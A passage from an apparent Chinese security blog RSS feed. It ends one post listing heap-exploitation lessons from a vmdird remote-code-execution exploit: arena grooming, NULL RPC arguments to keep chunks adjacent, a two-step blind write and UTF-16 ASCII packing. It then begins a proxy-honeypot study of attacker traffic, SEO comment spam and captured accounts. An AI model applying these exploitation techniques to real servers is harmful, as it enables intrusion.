serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我们在 pwndbg/GDB 上花了大量时间：</span></p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">dprintf 断点让多线程服务器变得极慢（请求超时）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">GDB 8.2 的 64 位地址字面量被截断为 32 位</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">heap</span></code><span leaf=""> / </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">arenas</span></code><span leaf=""> 命令因缺少 libc debug symbols 而失败</span></p></li></ul><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">最终改用 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">/proc/PID/mem</span></code><span leaf=""> + Python 脚本扫描堆，效率提升了 100 倍。</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">工具不好使就换工具，不要死磕。</span></strong></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">3. 理解服务器线程模型是关键</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">vmdird 使用线程池处理 RPC 请求。每个连接绑定一个线程，线程绑定一个 arena。arena 数量有限（16 个），线程数量可能远超 arena 数——这是并发堆交错能工作的基础。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">4. 中间分配是堆风水的大敌</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">每个 RPC 参数都会分配 memlink (0x20) + data buffer。4 个参数意味着 8 个中间分配，完全破坏了 0xC170 chunk 的相邻性。</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">NULL 参数消除中间分配</span></strong><span leaf="">是最关键的突破。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">5. 盲写需要理解接收循环</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">fragbuf 的 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">recvmsg</span></code><span leaf=""> 已经在阻塞中。直接发数据只能写到旧地址。必须理解服务器的接收循环机制，利用</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">第二次迭代重新读取 data_p</span></strong><span leaf=""> 的特性，通过两步发送精确控制写入位置。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">6. UTF-16 不是障碍</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">wchar ASCII 打包技巧利用了 UTF-16LE 的字节序特性。只要把 ASCII 字符两两配对，内存中就是纯 ASCII。这个技巧适用于所有需要通过 wchar buffer 传递 ASCII 数据的场景。</span></p><p><span leaf="">最后附上一张可爱的RCE图片！</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000434" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=5d971754&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTAFC5BLa6G2hUXsrP5gmyKDOicVbAlksEhFnMGWXEKrKDGvtNvkueR3ZicIV2jxQQ6YLgLKEhqW1lXOqNjQOvEXXTrFibcjibuZjJzq1V8DgiaHM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=bc29590f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4NzQwNzY3OQ%3D%3D%26mid%3D2247484086%26idx%3D1%26sn%3D5d6bbe68afada10fbfe35201dfeb801e">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 29 Apr 2026 16:24:00 +0800</pubDate>
    </item>
    <item>
      <title>免费代理背后的攻击者行为分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4NzQwNzY3OQ==&amp;mid=2247484080&amp;idx=1&amp;sn=064eb8a7895eaf8529c7efb31c3f3ea8</link>
      <description>免费代理背后的攻击者行为分析—— 一次基于 Proxy Honeypot 的五天、七节点、三千八百万事件的实</description>
      <content:encoded><![CDATA[<p>原创 <span>黑屋蜜罐哥</span> <span>2026-04-19 19:58</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=522fb15e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTAFC5BLa6G2dIibsJZYtcgcFfphL08VTzGxcrl0MJQ1hMumQMkPB1szvpyKSxC20omNVYCLonJ54TK0zibiax8hvnic3xjX2WEVaTA48KryZ7KM%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="margin-bottom:18.0pt;text-align:center;"><span style="font-size:26.0pt;mso-bidi-font-size:26.0pt;font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;font-weight:bold;mso-bidi-font-weight:bold;"><span leaf="">免费代理背后的攻击者行为分析</span></span></p><p style="margin-bottom:12.0pt;text-align:center;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;color:#555555;"><span leaf="">—— 一次基于 Proxy Honeypot 的五天、七节点、三千八百万事件的实证观察</span></span></p><p style="margin-top:120.0pt;text-align:center;"><span style="font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;color:#888888;"><span leaf="">数据窗口：2026-04-14 ~ 2026-04-19</span><span leaf="">|</span><span leaf="">节点数：7</span><span leaf="">|</span><span leaf="">事件总量：约 3,899 万</span></span></p><p><o:page></o:page></p><h1 style="mso-style-parent: &#39;&#39;;margin-top: 18.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 1;font-size: 18.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #1F3864;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">一、为什么要盯着&#34;免费代理&#34;这门生意</span></span></h1><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">在互联网的灰色地带，&#34;免费&#34;这两个字从来就不意味着免费。免费代理是一个典型例子。打开搜索引擎，随手一搜 &#34;free http proxy list&#34;、&#34;free socks5&#34;，能找到一大堆每隔几分钟就刷新一次的 IP 池站点，旁边还挂着&#34;匿名度高&#34;、&#34;支持 HTTPS&#34;、&#34;美国节点&#34;之类的标签。这些代理大多数来源并不干净——它们要么是被攻陷的家用路由器、摄像头、小 VPS，要么就是有人故意搭出来挂在公网上的&#34;蜜糖&#34;。</span></span></p><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">从防御者的角度看，免费代理其实是一个天然的观察窗口。攻击者使用代理的首要目的是隐藏真实出口 IP，代理服务器本身看到的就是攻击者最原始的意图：要访问哪个站点、要怎么带 Payload、要不要撞库、要不要连数据库端口。只要在代理这一层把流量记下来，基本就能还原出完整的一条攻击链路。</span></span></p><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">这也正是这个项目的出发点。我们在海外部署了 7 个仿真代理节点（对外看就是普通的 HTTP / SOCKS5 开放代理），同时在后端做协议解析、SNI 提取、凭据截取与事件聚合。节点在五天时间里积累了约 3,899 万条事件，HTTP 请求 281 万条，CONNECT 隧道 3,617 万条，覆盖 10,805 个独立源 IP。因为蜜罐全部在海外，所以看到的视角也主要是海外黑灰产的日常操作——这正好是国内很多防御方缺少的那一块拼图。</span></span></p><p style="margin-top:3.0pt;margin-bottom:6.0pt;margin-left:18.0pt;line-height:133%;border-left:solid #BBBBBB 2.25pt;mso-padding-alt:0.0pt 0.0pt 0.0pt 8.0pt;padding:0.0pt 0.0pt 0.0pt 8.0pt;"><span style="font-size:10.0pt;line-height:133%;mso-bidi-font-size:10.0pt;font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;color:#555555;font-style:italic;mso-bidi-font-style:italic;"><span leaf="">说明：本文所有数据与截图均来自该项目后台；项目暂不开源，本文只做观察性分析，不涉及任何攻防对抗环节。</span></span></p><h1 style="mso-style-parent: &#39;&#39;;margin-top: 18.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 1;font-size: 18.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #1F3864;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">二、项目概况与数据体量</span></span></h1><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">先看一张大图。五天之内，七个节点总共吃下 3,899 万条事件，其中 SOCKS5 占了 729 万，CONNECT 占 2,888 万，HTTP GET 有 255 万，POST 也接近 25 万。METHODS 这一栏还能看到一个很少见的 PRI（HTTP/2 preface），说明有工具在尝试用 h2c 走代理——这个后面会讲。</span></span><o:page></o:page></p><p style="margin-top:6.0pt;margin-bottom:6.0pt;text-align:center;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.5008839127872716" style="width:580.010009765625px;height:291.0px;" data-w="1697" src="https://wechat2rss.xlab.app/img-proxy/?k=e16729c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTAFC5BLa6G22lJLdBPWGDJuiaLPReanWYzwwKf2bnNIfGicPNvRt47icOo8Yr0LicJOegMOgMPPUWd5kic1fIiaT2iadHgOHRibicOgvvrWIv7SGEib58%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom:12.0pt;text-align:center;"><span style="font-size:9.0pt;mso-bidi-font-size:9.0pt;font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;color:#666666;font-style:italic;mso-bidi-font-style:italic;"><span leaf="">图：Proxy Honeypot 总览：7 节点 / 3,899 万事件 / 10,805 源 IP</span></span></p><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">源 IP 排行榜这一列信息量很大。Top 1 是 45.194.92.15，单 IP 发出 326 万请求，但 unique_targets 只有 27，这是典型的&#34;打固定目标&#34;——后面会看到它其实是在刷同一批 WordPress 站。排第二的 130.12.183.13 发了 301 万请求，unique_targets 却高达 3,087，这是完全不同的模式，属于宽面扫描。80.75.212 这一段连续占了五六个名次，后面会看到它们不是攻击者本身，而是上游在做多级代理中转。</span></span></p><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">再看 Top Target Hosts。patentoto.com、forum.phuongnamedu.vn、www.spora.ws、lptlc.org、relaxmacau.com……这些不是什么高价值目标，甚至根本不像&#34;目标&#34;，更像是被当作&#34;跳板中转站&#34;或者&#34;SEO 外链反链&#34;的对象。这个现象在后面的凭据分析里会解释清楚。User-Agent 也很有意思：最多的是 Chrome 117 (Windows 10)，其次就是 Python/3.12 python-socks/2.3.0、curl/7.68.0、Go-http-client/1.1——典型的&#34;人 + 爬虫脚本&#34;混合负载，脚本流量的占比远高于一般公网流量的平均水平。</span></span></p><h1 style="mso-style-parent: &#39;&#39;;margin-top: 18.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 1;font-size: 18.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #1F3864;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">三、流量实时画像：Events 看板</span></span></h1><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">因为大部分走的是 HTTPS 流量，所以我们没法看到请求里的 URL、Body 这些明文，只能从 CONNECT 建立隧道时带的 Host 字段，以及 TLS ClientHello 里的 SNI 去做反推。这已经足够了——在&#34;谁、在什么时候、连了哪里、持续了多久、上下行多少&#34;这个粒度上，SNI 就是最稳定的身份指纹。</span></span><o:page></o:page></p><p style="margin-top:6.0pt;margin-bottom:6.0pt;text-align:center;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.6545893719806763" style="width:560.010009765625px;height:367.0100402832031px;" data-w="1656" src="https://wechat2rss.xlab.app/img-proxy/?k=915bd9ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTAFC5BLa6G3ZIjXyqTwly1JyEmwY8fz1pc6RI8ZfhbfBq9K2ibPL9tP39jVQHS3Dbia0EdvRvicOGISorMot0kdP1VtEqzM6L7PejhI4qOZbDQ%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom:12.0pt;text-align:center;"><span style="font-size:9.0pt;mso-bidi-font-size:9.0pt;font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;color:#666666;font-style:italic;mso-bidi-font-style:italic;"><span leaf="">图：原始事件流：以 SOCKS5 CONNECT 为主，同一源 IP 在毫秒级别内连续敲同一个目标</span></span></p><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">这一屏是原始事件流。注意时间列：同一个源 IP 150.230.59.207 在一秒之内连续发起了二十多次到 www.aperitiustafaner.com:443 的 SOCKS5 CONNECT，每次 180~240ms 左右。这个节奏不是人工，是脚本在高并发刷一个固定目标。中间穿插了几条不同的目标（abgxefe.com.tr、www.jomdonate.com、imap.t-online.de:993、checkip.amazonaws.com、ntx360.net），说明它在批量任务中顺便回查自己的出口 IP 以及打 IMAP。</span></span><o:page></o:page></p><p style="margin-top:6.0pt;margin-bottom:6.0pt;text-align:center;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.6342042755344418" style="width:560.010009765625px;height:355.010009765625px;" data-w="1684" src="https://wechat2rss.xlab.app/img-proxy/?k=404c63b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTAFC5BLa6G0L1a9IntqqorznicPrvSIStPZn8juGpiaVgUvFCEC0qLuc1bmgiclgQSZRpiaMuSVpelAYDfZiaaxearQEp9QYQBgupIpqMz9QqNjc%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom:12.0pt;text-align:center;"><span style="font-size:9.0pt;mso-bidi-font-size:9.0pt;font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;color:#666666;font-style:italic;mso-bidi-font-style:italic;"><span leaf="">图：事件聚合视图：按源 IP × 目标 Host 做二维聚合，直接看出长连接与隧道模式</span></span></p><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">第二张图是聚合视图，把原始事件按 (Source IP, Host) 二元组折叠起来，一眼就能看出谁在建长连接、谁是短连接喷枪。比如 185.65.244.220 → 185.65.245.140，21,960 次连接、88.8KB 流量、平均 1,216ms，这种模式就是在做代理级联的健康探活。而 213.108.196.9 → smesitel-online.ru，59 次连接、1.3MB、平均 54 秒，这明显是一个爬虫在抓整站。82.193.114.148 发出去的 10 秒超时连接大片出现——这 IP 在扫一批开放的 CONNECT 隧道出口。</span></span></p><h1 style="mso-style-parent: &#39;&#39;;margin-top: 18.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 1;font-size: 18.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #1F3864;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">四、明文凭据截获：WordPress 黑产的&#34;日常作业&#34;</span></span></h1><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">对于走 HTTP 明文的那部分流量，我们可以直接从请求体里解析出敏感字段，比如 email、password、login、token 这些。结果出乎意料——在所有截获的凭据里，真正意义的&#34;撞库&#34;反倒不是最多的，最多的是 WordPress 的 SEO 黑产。</span></span><o:page></o:page></p><p style="margin-top:6.0pt;margin-bottom:6.0pt;text-align:center;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.6517323775388292" style="width:560.010009765625px;height:365.010009765625px;" data-w="1674" src="https://wechat2rss.xlab.app/img-proxy/?k=f0b7822d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTAFC5BLa6G19ia2OIeD6qwvc0WxS8GzE4xVysjZB5ia6lHAotv1JNZeKTEgq4dPmEcp746G2zZlFV3UibkibM6DbjAyw053nY3nmgSnsicNlhkCE%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom:12.0pt;text-align:center;"><span style="font-size:9.0pt;mso-bidi-font-size:9.0pt;font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;color:#666666;font-style:italic;mso-bidi-font-style:italic;"><span leaf="">图：凭据页面：高频出现的 /wp-comments-post.php，攻击者在做 SEO 外链灌水</span></span></p><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">重点看 URL 那一列——几乎全是 </span></span><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;font-weight:bold;mso-bidi-font-weight:bold;"><span leaf="">/wp-comments-post.php</span></span><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">。这是 WordPress 默认的评论提交接口。攻击者用大量 Gmail 账号（Felicity655、Hilda604、Elliott2591……）往不同的 WordPress 站点批量 POST 评论，评论内容里夹带 SEO 反链。这种玩法在黑灰产圈子里叫&#34;外链养站&#34;或&#34;友链轰炸&#34;，目的是把他们操控的赌博站、盗版站、色情站的排名刷上去。这不是一次性的攻击事件，而是他们每天在做的&#34;正经生意&#34;。</span></span></p><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">为什么这些流量会出现在我们的代理蜜罐里？因为 WordPress 的评论接口本身没有 HTTPS 强制要求（很多小站是 HTTP 裸奔的），而攻击者为了规避 IP 封禁必须要用代理。结果就是：代理这一层变成了黑产 SEO 流水线的中转站，我们拿到了整条流水线里的账号池、目标站列表和节奏。</span></span></p><h1 style="mso-style-parent: &#39;&#39;;margin-top: 18.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 1;font-size: 18.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #1F3864;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">五、多维度行为分析</span></span></h1><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">把聚合数据按不同维度切开，能看到更多平时盯着单条日志看不出来的模式。这一节放六个维度：爬虫、扫描、撞库、密码高频泄露站点、高价值目标、数据库端口。</span></span><o:page></o:page></p><h2 style="mso-style-parent: &#39;&#39;;margin-top: 14.0pt;margin-bottom: 7.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 2;font-size: 14.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #2E5D8C;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">5.1 爬虫维度：高请求量来源 IP</span></span></h2><p 